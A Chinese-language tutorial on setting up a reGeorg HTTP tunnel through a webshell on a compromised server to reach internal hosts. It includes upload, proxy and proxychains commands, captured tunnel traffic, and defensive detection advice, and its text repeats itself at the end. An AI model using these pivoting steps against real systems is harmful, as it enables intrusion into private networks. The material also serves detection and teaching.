reGeorg搭建HTTP隧道和流量分析
字数 1382 2025-08-15 21:32:58

reGeorg搭建HTTP隧道与流量分析教学文档

一、reGeorg概述

1.1 背景与发展

  • reGeorg是reDuh的继承者,由SensePost开发
  • 最初在BlackHat USA 2008上作为reDuh发布
  • 利用会话层的socks5协议,比reDuh效率更高

1.2 主要用途

  • 在只能访问外网服务器的情况下,通过HTTP隧道与内网主机交互
  • 适用于目标内网主机ICMP、DNS、TCP和UDP协议均不能出网的情况
  • 唯一的数据通道是通过webshell建立的正向代理

二、环境准备

2.1 所需设备

  1. 受害服务器A(公网可访问):IP 182.x.x.x
  2. 内网主机(部署在Docker中):运行Tomcat,开放8080端口
  3. 攻击者VPS:IP 81.x.x.x

2.2 工具下载

git clone https://github.com/sensepost/reGeorg.git

三、隧道搭建步骤

3.1 服务器端配置

  1. 在已获取webshell的受害者服务器上:
    • 将tunnel.jsp上传到HTTP服务器的web根目录
    • 验证是否可访问:
      curl http://182.x.x.x:8080/tunnel.jsp
      
    • 预期返回:Georg says, 'All seems fine'

3.2 攻击者配置

  1. 运行reGeorg脚本:

    python reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://x.x.x.x:8080/tunnel.jsp
    
    • -l:监听地址
    • -p:监听端口
    • -u:tunnel.jsp的URL
  2. 配置proxychains:

    • 编辑/etc/proxychains.conf
    • 添加:
      socks5 81.x.x.x 3333
      

3.3 测试隧道

proxychains curl http://172.17.0.2/login.php

四、流量分析

4.1 Kali端流量

  1. 抓包命令:
    tcpdump -i eth0 -w kali.pcap
    
  2. 典型流量特征:
    GET /login.php HTTP/1.1
    Host: 172.17.0.2
    User-Agent: curl/7.68.0
    Accept: */*
    

4.2 服务器A流量分析

连接阶段

POST http://182.x.x.x:8080/tunnel.jsp?cmd=connect&target=172.17.0.2&port=80 HTTP/1.1
Host: 182.x.x.x:8080
X-CMD: CONNECT
X-PORT: 80
X-TARGET: 172.17.0.2

读取阶段

POST /tunnel.jsp?cmd=read HTTP/1.1
Host: 182.x.x.x:8080
X-CMD: READ
  • 响应中包含:Transfer-Encoding: chunked(分块传输)

转发阶段

POST /tunnel.jsp?cmd=forward HTTP/1.1
Host: 182.92.73.106:8080
X-CMD: FORWARD
  • 包含实际的内网请求内容

断开连接

POST /tunnel.jsp?cmd=disconnect HTTP/1.1
Host: 182.x.x.x:8080
X-CMD: DISCONNECT

4.3 内网服务器流量

GET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*

五、关键点总结

  1. 协议选择:使用SOCKS5协议在会话层建立隧道
  2. 隐蔽性:所有通信都通过HTTP协议进行,可绕过部分防火墙
  3. 工作流程
    • CONNECT → READ → FORWARD → DISCONNECT
  4. 编码特征
    • 请求头中包含Accept-Encoding: identity
    • 响应中可能包含Transfer-Encoding: chunked
  5. 会话保持:通过JSESSIONID维持会话状态

六、防御建议

  1. 监控异常HTTP请求:
    • 频繁的POST请求到特定jsp/aspx/php文件
    • 请求中包含cmd=connect/read/forward/disconnect参数
  2. 限制上传文件类型
  3. 定期检查web目录下的可疑文件
  4. 监控异常的出站连接

七、附录

7.1 常用命令总结

命令 用途
curl http://x.x.x.x:port/tunnel.jsp 验证tunnel是否可用
python reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://x.x.x.x/tunnel.jsp 启动代理
proxychains curl http://内网IP/资源 通过代理访问内网

7.2 关键HTTP头说明

  • X-CMD:指定操作类型(CONNECT/READ/FORWARD/DISCONNECT)
  • X-TARGET:目标内网IP
  • X-PORT:目标端口
  • X-STATUS:服务器响应状态
reGeorg搭建HTTP隧道与流量分析教学文档 一、reGeorg概述 1.1 背景与发展 reGeorg是reDuh的继承者,由SensePost开发 最初在BlackHat USA 2008上作为reDuh发布 利用会话层的socks5协议,比reDuh效率更高 1.2 主要用途 在只能访问外网服务器的情况下,通过HTTP隧道与内网主机交互 适用于目标内网主机ICMP、DNS、TCP和UDP协议均不能出网的情况 唯一的数据通道是通过webshell建立的正向代理 二、环境准备 2.1 所需设备 受害服务器A(公网可访问):IP 182.x.x.x 内网主机(部署在Docker中):运行Tomcat,开放8080端口 攻击者VPS:IP 81.x.x.x 2.2 工具下载 三、隧道搭建步骤 3.1 服务器端配置 在已获取webshell的受害者服务器上: 将tunnel.jsp上传到HTTP服务器的web根目录 验证是否可访问: 预期返回: Georg says, 'All seems fine' 3.2 攻击者配置 运行reGeorg脚本: -l :监听地址 -p :监听端口 -u :tunnel.jsp的URL 配置proxychains: 编辑 /etc/proxychains.conf 添加: 3.3 测试隧道 四、流量分析 4.1 Kali端流量 抓包命令: 典型流量特征: 4.2 服务器A流量分析 连接阶段 读取阶段 响应中包含: Transfer-Encoding: chunked (分块传输) 转发阶段 包含实际的内网请求内容 断开连接 4.3 内网服务器流量 五、关键点总结 协议选择 :使用SOCKS5协议在会话层建立隧道 隐蔽性 :所有通信都通过HTTP协议进行,可绕过部分防火墙 工作流程 : CONNECT → READ → FORWARD → DISCONNECT 编码特征 : 请求头中包含 Accept-Encoding: identity 响应中可能包含 Transfer-Encoding: chunked 会话保持 :通过JSESSIONID维持会话状态 六、防御建议 监控异常HTTP请求: 频繁的POST请求到特定jsp/aspx/php文件 请求中包含cmd=connect/read/forward/disconnect参数 限制上传文件类型 定期检查web目录下的可疑文件 监控异常的出站连接 七、附录 7.1 常用命令总结 | 命令 | 用途 | |------|------| | curl http://x.x.x.x:port/tunnel.jsp | 验证tunnel是否可用 | | python reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://x.x.x.x/tunnel.jsp | 启动代理 | | proxychains curl http://内网IP/资源 | 通过代理访问内网 | 7.2 关键HTTP头说明 X-CMD :指定操作类型(CONNECT/READ/FORWARD/DISCONNECT) X-TARGET :目标内网IP X-PORT :目标端口 X-STATUS :服务器响应状态